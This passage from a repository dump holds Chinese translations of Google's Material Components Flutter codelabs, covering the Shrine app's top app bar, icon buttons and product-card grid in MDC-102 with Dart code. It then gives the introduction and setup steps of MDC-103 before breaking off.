Ultimate](https://www.jetbrains.com/idea/download/)。\n\n![](https://lh6.googleusercontent.com/ol-teJ4O7B69JJRkTfRVQ0a2afiPmL60r-KxNGD26R0KreGtbem_U05Js7HNw3FQu7rIaDVDBQozSFWUB7QVgyfoYpPCPVjKh1knJQGvtbAvLtDbdBmB7XaVbBvth3WOwBAIFDS7)要在 iOS 上构建和运行 Flutter 应用程序，你需要满足以下要求：\n\n*   运行 macOS 的计算机\n*   Xcode 9 或更新版本\n*   iOS 模拟器，或者 iOS 物理设备\n\n![](https://lh3.googleusercontent.com/Si2NN00ySyOEkNilzmWrhGLWwaCfGZME_01PwA1sSWu66Prw15UijYovXa-y3csDBg4NP_nhxBc_oqjparZ5Cme0zKuf0RRK1KiaN_n0Kn3AQ0zdkACXUhJJHAXdWK2WFshbxQLt)要在 Android 上构建和运行 Flutter 应用程序，你需要满足以下要求：\n\n*   运行 macOS、Windows 或者 Linux 的计算机\n*   Android Studio\n*   Android 模拟器（随 Android Studio 一起提供）或 Android 物理设备\n\n[获取详细的 Flutter 安装信息](https://flutter.io/setup/)\n\n> **重要提示**：如果连接到计算机的 Android 手机上出现“允许 USB 调试”对话框，请启用**始终允许从此计算机**选项，然后单击**确定**。\n\n在继续本教程之前，请确保你的 SDK 处于正确的状态。如果之前安装过 Flutter，则使用 `flutter upgrade` 来确保 SDK 处于最新版本。\n\n```\nflutter upgrade\n```\n\n运行 `flutter upgrade` 将自动运行 `flutter doctor`。如果这是首次安装 Flutter 且不需升级，那么请手动运行 `flutter doctor`。查看显示的所有检查标记；这将会下载你需要的任何缺少的 SDK 文件，并确保你的计算机配置无误以进行 Flutter 的开发。\n\n```\nflutter doctor\n```\n\n## 3. 下载教程初始应用程序\n\n### 从 MDC-101 继续？\n\n如果你完成了 MDC-101，那么本教程所需代码应该已经准备就绪，跳转到 **添加应用栏** 步骤。\n\n### 从头开始？\n\n### 下载初始应用程序\n\n[下载初始程序](https://github.com/material-components/material-components-flutter-codelabs/archive/102-starter_and_101-complete.zip)\n\n此入门程序位于 `material-components-flutter-codelabs-102-starter_and_101-complete/mdc_100_series` 目录中。\n\n### ...或者从 GitHub 克隆它\n\n要从 GitHub 克隆此项目，请运行以下命令：\n\n```\ngit clone https://github.com/material-components/material-components-flutter-codelabs.git\ncd material-components-flutter-codelabs\ngit checkout 102-starter_and_101-complete\n```\n\n> 更多帮助：[从 GitHub 上克隆存储库](https://help.github.com/articles/cloning-a-repository/)\n\n> ### 正确的分支\n>\n> 教程 MDC-101 到 104 连续构建。所以当你完成 102 的代码后，它将变成 103 教程的初始代码！代码被分成不同的分支，你可以使用以下命令将它们全部列出：\n>\n> `git branch --list`\n>\n> 要查看完整代码，请切换到 `103-starter_and_102-complete` 分支。\n\n建立你的项目\n\n以下步骤默认你使用的是 Android Studio (IntelliJ)。\n\n### 创建项目\n\n1. 在终端中，导航到 `material-components-flutter-codelabs`\n\n2. 运行 `flutter create mdc_100_series`\n\n![](https://lh5.googleusercontent.com/J9CQ2xQy4PCirtParnKTrQbjo5tdy0LEh__NVXEjkSYdwSl96QWiwyX2fAdQcW5jTCUzVSzpAqF9-f5mfvyg9BE299XA5nNawKXkAKAO9KIJWawpJtEucLXwqi9buzCX3D7UJixV)\n\n### 打开项目\n\n1. 打开 Android Studio。\n\n2. 如果你看到欢迎页面，单击 **打开已有的 Android Studio 项目**。\n\n![](https://lh5.googleusercontent.com/q3QrMqM5NUKXvHdNL4f-OPx1WQJCiXZuq0XJzExqbMK6NrSEigfggRFuJ9C9zpqOCsl0uWfywG1_6W1B45xrafR2EGTP68B0Yr0QtGAu3NWCdnylzYHWEp-as7AkYj8S5oNwFzr-)\n\n3. 导航到 `material-components-flutter-codelabs/mdc_100_series` 目录并单击打开，这将打开此项目。\n\n**在构建项目一次之前，你可以忽略在分析中见到的任何错误。**\n\n![](https://lh4.googleusercontent.com/eohV4ysnGI7n1WXZEpvDocqGoj2yBijhLPxkGovkL85mil0HSvbQxgJ4VlduNj1ypfOdVd1fyTxR5QnS31iu0HFaqjWcOY2GqWs2hHFNO4-zqQzj-S8rGGH0VqrOEtAFEbzUuCxB)\n\n4. 在左侧的项目面板中，删除测试文件 `../test/widget_test.dart`\n\n![](https://lh4.googleusercontent.com/tbOkXg3PBYapj_J0CpdwQTt-sqnf7s3bqi7E3Dd__z_aC5XANKphvuoMvmiOFfBR6oDeZixE0Ww2jTzskt1sDNgEXjAJjwHr7m242tkZ7VvXGaFMObmSIZ06oC7UQusGgCL7DpHr)\n\n5. 如果出现提示，安装所有平台和插件更新或  FlutterRunConfigurationType，然后重新启动 Android Studio。\n\n![](https://lh5.googleusercontent.com/MVD7YGuMneCprDEam1Vy8NusO9BPmOZTyrH4jvO8RmsfTeu8q-t0AfHU3kzXk1F8EUgHaFbqeORdXc7iOcz5ZLM4qbXsv_tMiVnAi0i68p0t957RThrZ56Udf-F292JgRV3iKs7T)\n\n> **提示**：确保你已安装 [Flutter 和 Dart 插件](https://flutter.io/get-started/editor/#androidstudio)。\n\n### 运行初始程序\n\n以下步骤默认你在 Android 模拟器或设备上进行测试。你也可以在 iOS 模拟器或设备上进行，只要你安装了 Xcode。\n\n1. 选择设备或模拟器\n\n如果 Android 模拟器尚未运行，请选择 **Tools -> Android -> AVD Manager** 来[创建您设备并启动模拟器](https://developer.android.com/studio/run/managing-avds.html)。如果 AVD 已存在，你可以直接在 IntelliJ 的设备选择器中启动模拟器，如下一步所示。\n\n（对于 iOS 模拟器，如果它尚未运行，通过选择 **Flutter Device Selection -> Open iOS Simulator** 来在你的开发设备上启动它。）\n\n![](https://lh5.googleusercontent.com/mmcO6QRlA96Sc1AZhL8NqvaTE9DZL5q3QQJsrx-2U4ptShFUcrmYoEuVLB6uyAxL4F80dFaxiotLmWjtTYUYYJu-Rf9TtoKDcJLlzuyWezQIz0BiIIBsgy7mPNS8bO5VbqcMb1Qt)\n\n2. 启动 Flutter 应用：\n\n*   在你的编辑器窗口顶部寻找 Flutter Device Selection 下拉菜单，然后选择设备（例如，iPhone SE / Android SDK built for <version>）。\n*   点击**运行**图标（![](https://lh6.googleusercontent.com/Zu8-cWRMCfIrBGIjj4kSW-j8KBiIqVe33PX8Mht5lSKq00kRB7Na3X0kC4aaiG-G7hqqqLPpgtbxTz-1DdYbq2RiNvc2ZaJzfiu_vVYAh1oOc4TZu85pa42nFqqxmMQWySzLWeU1)）。\n\n![](https://lh4.googleusercontent.com/NLXK-hHFYnHBPeQ6NYrKGnXpj9X2es9her6Y14CotXlR-OdSQBXHyRFv1nvhC1AFCmWx7jIG2Ulb7-OmLV_Pru_-kd-3gArn8OKEGTIOInDJlqIUJ7dxTQUsvLVa0CJwEO5EGjeu)\n\n> 如果你无法成功运行此应用程序，停下来解决你的开发环境问题。尝试导航到  `material-components-flutter-codelabs`；如果你在终端中下载 .zip 文件，导航到 `material-components-flutter-codelabs-...` 然后运行 `flutter create mdc_100_series`。\n\n成功！Shrine 的初始登陆代码应该在你的模拟器中运行了。你可以看到 Shrine 的 logo 和它下面的名称 \"Shrine\"。\n\n![](https://codelabs.developers.google.com/codelabs/mdc-102-flutter/img/db3def4f18a58eed.png)\n\n现在登录页面看起来不错，让我们用一些产品来填充应用。\n\n## 4. 添加顶部应用栏\n\n当登陆页面消失时主页面将出现并显示“你做到了！”。这很棒！但是我们的用户不知道能做什么操作，也不知道现在位于应用何处，为了解决这个问题，是时候添加导航了。\n\n> **导航** 是指允许用户在应用中移动的组件、交互、视觉提示和信息结构。它使得内容和功能更加注目，任务也因此易于完成。\n>\n> 在 Material 指南中了解更多有关[导航](https://material.io/design/navigation/)的信息。\n\nMaterial Design 提供确保高度可用性的导航模式，其中最注目的组件就是顶部应用栏。\n\n> 你可以将顶部应用栏当作 iOS 中的“导航栏”，或者简单看成一个 “App Bar” 或 “Header”。\n\n要提供导航并让用户快速访问其他操作，让我们添加一个顶部应用栏。\n\n### 添加应用栏部件\n\n在 `home.dart` 中，将应用栏添加到 Scaffold 中：\n\n```\nreturn Scaffold(\n  // TODO: 添加应用栏（102）\n  appBar: AppBar(\n    // TODO: 添加按钮和标题（102）\n  ),\n```\n\n将 **AppBar** 添加到 Scaffold 的 `appBar:` 字段位置，为了我们完美的布局，让应用栏保持在页面的顶部或底部。\n\n> **Scaffold** 在中是一个重要的部件。它为像抽屉、snack bar 和 bottom sheet 等各种常见 Material 组件提供方便的 API。它甚至可以帮助布置一个 Floating Action Button。\n>\n> 在 [Flutter 文档](https://docs.flutter.io/flutter/material/Scaffold-class.html)中了解更多有关 Scaffold 的信息。\n\n保存项目，当 Shrine 应用更新后，单击 **Next** 来查看主屏幕。\n\n![](https://codelabs.developers.google.com/codelabs/mdc-102-flutter/img/431c9976adc79f2.png)\n\n应用栏看起来不错，但它还需要一个标题。\n\n> 如果应用没有更新，再次单击 “Play” 按钮，或者点击 “Play” 后的 “Stop”。\n\n### 添加文本部件\n\n在 `home.dart` 中，给应用栏添加一个标题：\n\n```\n// TODO: 添加应用栏（102）  \n  appBar: AppBar(\n    // TODO: 添加按钮和标题（102）\n\n    title: Text('SHRINE'),\n        // TODO:添加后续按钮（102）\n```\n\n保存项目。\n\n![](https://codelabs.developers.google.com/codelabs/mdc-102-flutter/img/a858ee63d25880f2.png)\n\n> 到目前为止，你应该已经注意到我们所说的“平台差异”了。Material 明白 Android、iOS、Web 各平台都有差异。用户对他们有不同的期望。举例来说，在 iOS 里标题几乎总是居中的，这是 UIKit 提供的默认配置。在 Android 上标题是左对齐的。所以如果你使用的是 Android 模拟器或设备，那么标题应该位于左侧，对于 iOS 模拟器和设备而言，它应该是居中的。\n>\n> 了解更多信息，请查参阅有关跨平台适配的 [Material 文章](https://material.io/design/platform-guidance/cross-platform-adaptation.html#cross-platform-guidelines)。\n\n许多应用栏在标题旁边都设有按钮，让我们在应用中添加一个菜单图标。\n\n### 添加位于首部的图标按钮\n\n还是在 `home.dart` 中，在 AppBar 的 `leading` 字段设置一个图标按钮：（放在 `title:` 字段前，按照部件从首到尾的顺序）：\n\n```\nreturn Scaffold(\n  appBar: AppBar(\n    // TODO: 添加按钮和标题（102）\n    leading: IconButton(\n      icon: Icon(\n        Icons.menu,\n        semanticLabel: 'menu',\n      ),\n      onPressed: () {\n        print('Menu button');\n      },\n    ),\n```\n\n保存项目。\n\n![](https://codelabs.developers.google.com/codelabs/mdc-102-flutter/img/d03789520253636.png)\n\n菜单图标（也被称作“汉堡包”）会在你期望的位置显示出来。\n\n> [**IconButton**](https://docs.flutter.io/flutter/material/IconButton-class.html) 类是在你的应用里引入 [Material 图标](http://material.io/icons)的快捷方式。它有一个 **Icon** 部件。 Flutter 在 **Icons** 类里有整套的图标。它会根据字符串常量的映射自动导入图标。\n>\n> 在 [Flutter 文档](https://docs.flutter.io/flutter/material/Icons-class.html)中了解更多有关 Icons 类的信息。有关 Icon 部件的信息请阅读这个 [Flutter 文档](https://docs.flutter.io/flutter/widgets/Icon-class.html)。\n\n你也可以在标题尾部添加按钮。在 Flutter 中，它们被称为 \"action\"。\n\n> **Leading（首部）** 和 **trailing（尾部）** 是表达方向的术语，指的是与语言无关的文本行的开头和结尾。当使用一个像英语这样的 LTR（左到右）语言时， _leading_ 意味着 **左侧** 而 _trailing_ 代表着 **右侧**。在像阿拉伯语这样的 RTL（右到左）语言时， _leading_ 意味着 **右侧** 而 _trailing_ 代表着 **左侧**。\n>\n> 了解 UI 镜像的更多信息，请参阅 [双向性](https://material.io/guidelines/usability/bidirectionality.html) Material Design 准则。\n\n### 添加 action\n\n还有两个 IconButton 的空间。\n\n在 AppBar 实例中的标题后面添加它们：\n\n```\n// TODO: 添加尾部按钮（102）\nactions: <Widget>[\n  IconButton(\n    icon: Icon(\n      Icons.search,\n      semanticLabel: 'search',\n    ),\n    onPressed: () {\n      print('Search button');\n    },\n  ),\n  IconButton(\n    icon: Icon(\n      Icons.tune,\n      semanticLabel: 'filter',\n    ),\n    onPressed: () {\n      print('Filter button');\n    },\n  ),\n],\n```\n\n保存你的项目。你的主屏幕看起来应该像这样：\n\n![](https://codelabs.developers.google.com/codelabs/mdc-102-flutter/img/a7020aee9da061dc.png)\n\n现在这个应用在左侧有一个按钮、一个标题，右侧还有两个 action。应用栏还利用阴影显示**高度**，表示它与内容处于不同的层级。\n\n> 在 Icon 类中，**SemanticLabel** 字段是在 Flutter 中添加辅助功能信息的常用方法。这很像 Android 的 [Content Label](https://support.google.com/accessibility/android/answer/7158690?hl=en) 或 iOS 的 [UIAccessibility `accessibilityLabel`](https://developer.apple.com/documentation/uikit/accessibility/uiaccessibility?language=objc)。你会在很多类中见到它。\n>\n> 这个字段的信息很好地向使用屏幕阅读器的人说明了该按钮的作用。\n>\n> 对于没有 `semanticLabel:` 字段的部件，你可以将其包装在 **Semantics** 部件中，在其 [Flutter 文档](https://docs.flutter.io/flutter/widgets/Semantics-class.html)中了解更多有关的信息。\n\n## 5. 在网格中添加卡片\n\n现在我们的应用像点样子了，让我们接着放置一些卡片来组织内容。\n\n> **卡片** 是显示单体内容和动作的独立的元素。它们是一种可以灵活地呈现近似内容集合的方式。\n>\n> 在 Material 指南有关[卡片](https://material.io/guidelines/components/cards.html)的文章中了解更多信息。\n>\n> 要了解卡片部件，请参阅[在 Flutter 中构建布局](https://flutter.io/tutorials/layout/)。\n\n### 添加网格视图\n\n让我们从应用栏底部添加一个卡片开始。单一的 **卡片** 部件不足以让我们将它放到我们想要的位置，所以我们需要将它封装在一个 **网格视图** 中。\n\n用 GridView 替换 Scaffold 中 body 字段的 Center：\n\n```\n// TODO: 添加网格视图（102）\nbody: GridView.count(\n  crossAxisCount: 2,\n  padding: EdgeInsets.all(16.0),\n  childAspectRatio: 8.0 / 9.0,\n  // TODO: 构建一组卡片（102）\n  children: <Widget>[Card()],\n),\n```\n\n让我们分析这段代码。网格视图调用 `count()` 构造函数，因要添加的项目数是可数的而不是无限的。但它需要更多信息来定义其布局。\n\n`crossAxisCount:` 指定横向显示数目，我们设置成 2 行。\n\n> Flutter 中的 **Cross axis（横轴）** 表示非滚动轴。可滚动的方向称为 **主轴**。所以如果你的应用像网格视图默认的那样垂直滚动，那么横轴就是水平方向。\n>\n> 详情请参阅[构建布局](https://flutter.io/tutorials/layout/)。\n\n`padding:` 字段为网格视图的 4 条边设置填充。当然你现在看不到首尾的填充，因为网格视图内还没有其他子项。\n\n`childAspectRatio:` 字段依据宽高比确定其大小。\n\n默认地，网格视图中的项目尺寸相同。\n\n将这些加在一起，网格视图按照如下方式计算每个子项的宽度：`([整个网格宽度] - [左填充] - [右填充]) / 列数`。在这里就是：`([整个网格宽度] - 16 - 16) / 2`。\n\n高度是根据宽度计算得来的，通过应用宽高比：`([整个网格宽度] - 16 - 16) / 2 * 9 / 8`。我们翻转了 8 和 9，因为我们是用宽度来计算高度。\n\n我们已经有了一个空的卡片了，让我们添加一些子部件到卡片中。\n\n### 布局内容\n\n卡片内应该包含一张图片、一个标题和一个次级文本。\n\n更新网格视图的子项：\n\n```\n// TODO: 构建一组卡片（102）\nchildren: <Widget>[\n  Card(\n    child: Column(\n      crossAxisAlignment: CrossAxisAlignment.start,\n      children: <Widget>[\n        AspectRatio(\n          aspectRatio: 18.0 / 11.0,\n          child: Image.asset('assets/diamond.png'),\n        ),\n        Padding(\n          padding: EdgeInsets.fromLTRB(16.0, 12.0, 16.0, 8.0),\n          child: Column(\n            crossAxisAlignment: CrossAxisAlignment.start,\n            children: <Widget>[\n              Text('Title'),\n              SizedBox(height: 8.0),\n              Text('Secondary Text'),\n            ],\n          ),\n        ),\n      ],\n    ),\n  )\n],\n```\n\n这段代码添加了一个列部件，用来垂直地布局子部件。\n\n`crossAxisAlignment:` 字段指定 `CrossAxisAlignment.start` 属性，这意味着“文本与前沿对齐”。\n\n**AspectRatio** 部件决定图像的形状，无论提供的是何种图像。\n\n**Padding** 使得文本与边框保持一定距离。\n\n两个 **Text** 部件垂直堆叠，在其间保持 8 个单位的间隔（**SizedBox**）。我们使用另一个 **Column** 来把它们放到 Padding 中。\n\n保存你的项目：\n\n![](https://codelabs.developers.google.com/codelabs/mdc-102-flutter/img/781ef3ac46a65be3.png)\n\n在这个预览里，你可以看到卡片从边缘置入，并带有圆角和阴影（这代表着卡片的高度）。整个形状在 Material 中被称为 “container（容器）”。（不要与名为 [Container](https://docs.flutter.io/flutter/widgets/Container-class.html) 的实际部件类混淆。）\n\n> 除了容器以外，在 Material 中卡片内所有的元素实际上都是可选的。你可以添加标题文本、缩略图、头像或者小标题文本、分隔符甚至是按钮和图标。\n>\n> 了解更多消息，请参阅 Material 指南上有关[卡片](https://material.io/guidelines/components/cards.html)的文章。\n\n卡片经常以集合的形式和其他卡片一起出现，让我们在网格视图中给它们布局。\n\n## 6. 生成卡片集合\n\n每当屏幕上出现多张卡片时，它们就会组成一个或多个集合。集合中的卡片是共面的，这意味着卡片共享相同的静止高度。（除了卡片被拾起或拖动，但在这里我们不会这么做。）\n\n### 将卡片添加到集合\n\n现在我们的卡片是网格视图内的 `children:` 字段子项。这有一大段难以阅读的嵌套代码。让我们将它提取到一个函数中来生成任意数量的空卡片，然后返回给我们。\n\n\n```\n// TODO: 生成卡片集合（102）\nList<Card> _buildGridCards(int count) {\n  List<Card> cards = List.generate(\n    count,\n    (int index) => Card(\n      child: Column(\n        crossAxisAlignment: CrossAxisAlignment.start,\n        children: <Widget>[\n          AspectRatio(\n            aspectRatio: 18.0 / 11.0,\n            child: Image.asset('assets/diamond.png'),\n          ),\n          Padding(\n            padding: EdgeInsets.fromLTRB(16.0, 12.0, 16.0, 8.0),\n            child: Column(\n              crossAxisAlignment: CrossAxisAlignment.start,\n              children: <Widget>[\n                Text('Title'),\n                SizedBox(height: 8.0),\n                Text('Secondary Text'),\n              ],\n            ),\n          ),\n        ],\n      ),\n    ),\n  );\n\n  return cards;\n}\n```\n\n将生成的卡片分配给网格视图的 `children` 字段。记得用新代码替换网格视图中的所有内容。\n\n```\n// TODO: 添加网格视图（102）\nbody: GridView.count(\n  crossAxisCount: 2,\n  padding: EdgeInsets.all(16.0),\n  childAspectRatio: 8.0 / 9.0,\n  children: _buildGridCards(10) // 替换所有内容\n),\n```\n\n保存你的项目：\n\n卡片已经在这了，但它们什么都没有显示。现在是时候添加一些产品数据了。\n\n###添加产品数据\n\n这个应用中的产品有着图像、名称和价格。让我们把这些添加到已有的卡片部件中。\n\n然后，在 `home.dart` 中，导入数据模型需要的新包和文件：\n\n```\nimport 'package:flutter/material.dart';\nimport 'package:intl/intl.dart';\n\nimport 'model/products_repository.dart';\nimport 'model/product.dart';\n```\n\n最后，更改 `_buildGridCards()` 来获取产品信息，并将数据应用到卡片中：\n\n```\n// TODO: 生成卡片集合（102）\n\n// 替换整个方法\nList<Card> _buildGridCards(BuildContext context) {\n  List<Product> products = ProductsRepository.loadProducts(Category.all);\n\n  if (products == null || products.isEmpty) {\n    return const <Card>[];\n  }\n\n  final ThemeData theme = Theme.of(context);\n  final NumberFormat formatter = NumberFormat.simpleCurrency(\n      locale: Localizations.localeOf(context).toString());\n\n  return products.map((product) {\n    return Card(\n      // TODO: 调整卡片高度（103）\n      child: Column(\n        // TODO: 卡片的内容设置居中（103）\n        crossAxisAlignment: CrossAxisAlignment.start,\n        children: <Widget>[\n          AspectRatio(\n            aspectRatio: 18 / 11,\n            child: Image.asset(\n              product.assetName,\n              package: product.assetPackage,\n             // TODO: 调整盒子尺寸（102）\n            ),\n          ),\n          Expanded(\n            child: Padding(\n              padding: EdgeInsets.fromLTRB(16.0, 12.0, 16.0, 8.0),\n              child: Column(\n               // TODO: 标签底部对齐并居中（103）\n               crossAxisAlignment: CrossAxisAlignment.start,\n                // TODO: 更改最内部的列（103）\n                children: <Widget>[\n                 // TODO: 处理溢出的标签（103）\n                 Text(\n                    product.name,\n                    style: theme.textTheme.title,\n                    maxLines: 1,\n                  ),\n                  SizedBox(height: 8.0),\n                  Text(\n                    formatter.format(product.price),\n                    style: theme.textTheme.body2,\n                  ),\n                ],\n              ),\n            ),\n          ),\n        ],\n      ),\n    );\n  }).toList();\n}\n```\n\n**注意**：应用现在无法编译和运行，我们还需要进行修改。\n\n> 要设置文本的样式，我们使用当前 **BuildContext** 中的 **ThemeData**。\n>\n> 了解有关文本样式的更多信息，请参阅 Material 指南中的[排版](https://material.io/design/typography/)一文。了解有关主题的更多信息，请参考教程下一章 [MDC-103: Material Design Theming 的颜色、形状、高度和类型](https://github.com/xitu/gold-miner/blob/master/TODO1/mdc-103-flutter.md)。\n\n在尝试编译之前，将 **BuildContext** 传入 `build()` 方法中的 `_buildGridCards()`：\n\n```\n// TODO: Add a grid view (102)\nbody: GridView.count(\n  crossAxisCount: 2,\n  padding: EdgeInsets.all(16.0),\n  childAspectRatio: 8.0 / 9.0,\n  children: _buildGridCards(context) // Changed code\n),\n```\n\n![](https://codelabs.developers.google.com/codelabs/mdc-102-flutter/img/7874b38e020afc1d.png)\n\n你可能注意到了我们没有在卡片间添加任何垂直的间隔，这是因为在其顶部与底部默认有 4 个单位的填充。\n\n保存你的项目：\n\n产品的数据显示出来了，但是图像四周有额外的空间。图像默认依据 `.scaleDown` 的 **BoxFit** 绘制（在这个情况下）。让我们将其更改为 `.fitWidth` 来让它们放大一点，删除多余的空间。\n\n修改图像的 `fit:` 字段：\n\n```\n  // TODO: 调整盒子尺寸（102）\n  fit: BoxFit.fitWidth,\n```\n\n![](https://codelabs.developers.google.com/codelabs/mdc-102-flutter/img/532fe80b3fa3db74.png)\n\n现在我们的产品完美的展现在应用中了！\n\n## 7. 总结\n\n我们的应用已经有了基本的流程，将用户从登陆屏幕带到可以查看产品的主屏幕。通过几行代码，我们添加了一个顶部应用栏（带有标题和三个按钮）以及卡片（用于显示我们应用的内容）。我们的主屏幕简洁实用，具有基本的结构和可操作的内容。\n\n> 完成的 MDC-102 应用可以在 `103-starter_and_102-complete` 分支中找到。\n>\n> 你可以用此分支下的应用来对照验证你的版本。\n\n### 下一步\n\n通过顶部应用栏、卡片、文本框和按钮，我们已经使用了 MDC-Flutter 库中的四个核心组件！你可以访问 [Flutter 部件目录](https://flutter.io/widgets/)来探索更多组件。\n\n虽然它完全正常运行，我们的应用尚未表达任何特殊的品牌特点。在 [MDC-103: Material Design Theming 的颜色、形状、高度和类型](https://github.com/xitu/gold-miner/blob/master/TODO1/mdc-103-flutter.md)中，我们将定制这些组件的样式，来诠释一个充满活力的、现代的品牌。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/mdc-103-flutter.md",
    "content": "> * 原文地址：[MDC-103 Flutter: Material Theming with Color, Shape, Elevation, and Type (Flutter)](https://codelabs.developers.google.com/codelabs/mdc-103-flutter/#0)\n> * 原文作者：[codelabs.developers.google.com](https://codelabs.developers.google.com)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/mdc-103-flutter.md](https://github.com/xitu/gold-miner/blob/master/TODO1/mdc-103-flutter.md)\n> * 译者：[DevMcryYu](https://github.com/devmcryyu)\n> * 校对者：[PrinceChou](https://github.com/PrinceChou), [Fengziyin1234](https://github.com/Fengziyin1234)\n\n# MDC-103 Flutter: Material Theming 的颜色、形状、高度和类型（Flutter）\n\n## 1. 介绍\n\n![](https://lh4.googleusercontent.com/yzZPYGHe5CrFE-84MXhqwb_y7YjCKLWQJHI7W7zqbT9_qdK8qufFjx51kepr3ITvZtF7vD3d72nurt-HPBARmQ6RF74PD1FwGZMNbXphLap4LqIEBCKWP5OxK2Vjeo-YEY3-oeIP)Material 组件（MDC）帮助开发者实现 Material Design。MDC 由谷歌团队的工程师和 UX 设计师创造，为 Android、iOS、Web 和 Flutter 提供很多美观实用的 UI 组件。\n\nmaterial.io/develop\n\n现在可以使用 MDC 来为你的应用程序定制远比以前独特的样式。Material Design 近期的更新使得设计师和开发者可以更灵活地表达他们的产品理念。\n\n在教程 MDC-101 和 MDC-102 中，你使用 Material 组件（MDC）为一个名为 **Shrine** 的销售服装和家居用品的电子商务应用程序构建基础。这个应用的用户使用流程包括一个开始的登陆页面，然后导航用户前往展示商品的主屏幕。\n\n### 你将构建一个\n\n在本教程中，你将会使用以下属性来定制 Shrine 应用：\n\n*   颜色（Color）\n*   排版（Typography）\n*   高度（Elevation）\n*   形状（Shape）\n*   布局（Layout）\n\n![](https://codelabs.developers.google.com/codelabs/mdc-103-flutter/img/7f521db8a762f5ee.png)\n\n![](https://codelabs.developers.google.com/codelabs/mdc-103-flutter/img/7ac46e5cb6b1e064.png)\n\n这是四篇教程中的第三篇，来引导你构建 Shrine 应用。\n\n其余教程可在这里找到：\n\n*   [MDC-101：Material Components（MDC）基础（Flutter）](https://github.com/xitu/gold-miner/blob/master/TODO1/mdc-101-flutter.md)\n*   [MDC-102：Material 结构和布局](https://github.com/xitu/gold-miner/blob/master/TODO1/mdc-102-flutter.md)\n*   [MDC-104: Material Design 高级组件](https://github.com/xitu/gold-miner/blob/master/TODO1/mdc-104-flutter.md)\n\n到 MDC-104 的最后，你将会构建一个像这样的应用：\n\n![](https://codelabs.developers.google.com/codelabs/mdc-103-flutter/img/e23a024b60357e32.png)\n\n## 本教程中使用到的 MDC-Flutter 组件和子系统\n\n*   主题（Theme）\n*   排版（Typography）\n*   高度（Elevation）\n*   图片列表（Image list）\n\n### 你将需要\n\n*   [Flutter SDK](https://flutter.io/setup/)\n*   安装好 Flutter 插件的 Android Studio，或者你喜欢的代码编辑器\n*   示例代码\n\n### 要在 iOS 上构建和运行 Flutter 应用程序，你需要满足以下要求：\n\n*   运行 macOS 的计算机\n*   Xcode 9 或更新版本\n*   iOS 模拟器，或者 iOS 物理设备\n\n### 要在 Android 上构建和运行 Flutter 应用程序，你需要满足以下要求：\n\n*   运行 macOS、Windows 或 Linux 的计算机\n*   Android Studio\n*   Android 模拟器（随 Android Studio 一起提供）或 Android 物理设备\n\n## 2. 安装 Flutter 环境\n\n### 前提条件\n\n要开始使用 Flutter 开发移动应用程序，你需要：\n\n*   [Flutter SDK](https://flutter.io/setup/)\n*   装有 Flutter 插件的 IntelliJ IDE，或者你喜欢的代码编辑器\n\nFlutter 的 IDE 工具适用于 [Android Studio](https://developer.android.com/studio/index.html)、[IntelliJ IDEA Community（免费）和 IntelliJ IDEA Ultimate](https://www.jetbrains.com/idea/download/)。\n\n![](https://lh6.googleusercontent.com/ol-teJ4O7B69JJRkTfRVQ0a2afiPmL60r-KxNGD26R0KreGtbem_U05Js7HNw3FQu7rIaDVDBQozSFWUB7QVgyfoYpPCPVjKh1knJQGvtbAvLtDbdBmB7XaVbBvth3WOwBAIFDS7)要在 iOS 上构建和运行 Flutter 应用程序，你需要满足以下要求：\n\n*   运行 macOS 的计算机\n*   Xcode 9 或更新版本\n*   iOS 模拟器，或者 iOS 物理设备\n\n![](https://lh3.googleusercontent.com/Si2NN00ySyOEkNilzmWrhGLWwaCfGZME_01PwA1sSWu66Prw15UijYovXa-y3csDBg4NP_nhxBc_oqjparZ5Cme0zKuf0RRK1KiaN_n0Kn3AQ0zdkACXUhJJHAXdWK2WFshbxQLt)要在 Android 上构建和运行 Flutter 应用程序，你需要满足以下要求：\n\n*   运行 macOS，Windows 或者 Linux 的计算机\n*   Android Studio\n*   Android 模拟器（随 Android Studio 一起提供）或 Android 物理设备\n\n[获取详细的 Flutter 安装信息](https://flutter.io/setup/)\n\n> **重要提示：** 如果连接到计算机的 Android 手机上出现“允许 USB 调试”对话框，请启用**始终允许从此计算机**选项，然后单击**确定**。\n\n在继续本教程之前，请确保你的 SDK 处于正确的状态。如果之前安装过 Flutter SDK，则使用 `flutter upgrade` 来确保 SDK 处于最新版本。\n\n```\nflutter upgrade\n```\n\n运行 `flutter upgrade` 将自动运行 `flutter doctor`。如果这是首次安装 Flutter 且不需升级，那么请手动运行 `flutter doctor`。查看显示的所有 ✓ 标记；这将会下载你需要的任何缺少的 SDK 文件，并确保你的计算机配置无误以进行 Flutter 的开发。\n\n```\nflutter doctor\n```\n\n## 3. 下载教程初始应用程序\n\n### 从 MDC-102 继续？\n\n如果你完成了 MDC-102，那么本教程所需代码应该已经准备就绪，跳转到**调整颜色**一步。\n\n### 从头开始？\n\n### 下载初始应用程序\n\n[Download starter app](https://github.com/material-components/material-components-flutter-codelabs/archive/103-starter_and_102-complete.zip)\n\n此入门程序位于 `material-components-flutter-codelabs-103-starter_and_102-complete/mdc_100_series` 目录中。\n\n### ...或者从 GitHub 克隆它\n\n要从 GitHub 克隆此项目，请运行以下命令：\n\n```\ngit clone https://github.com/material-components/material-components-flutter-codelabs.git\ncd material-components-flutter-codelabs\ngit checkout 103-starter_and_102-complete\n```\n\n> 更多帮助：[从 GitHub 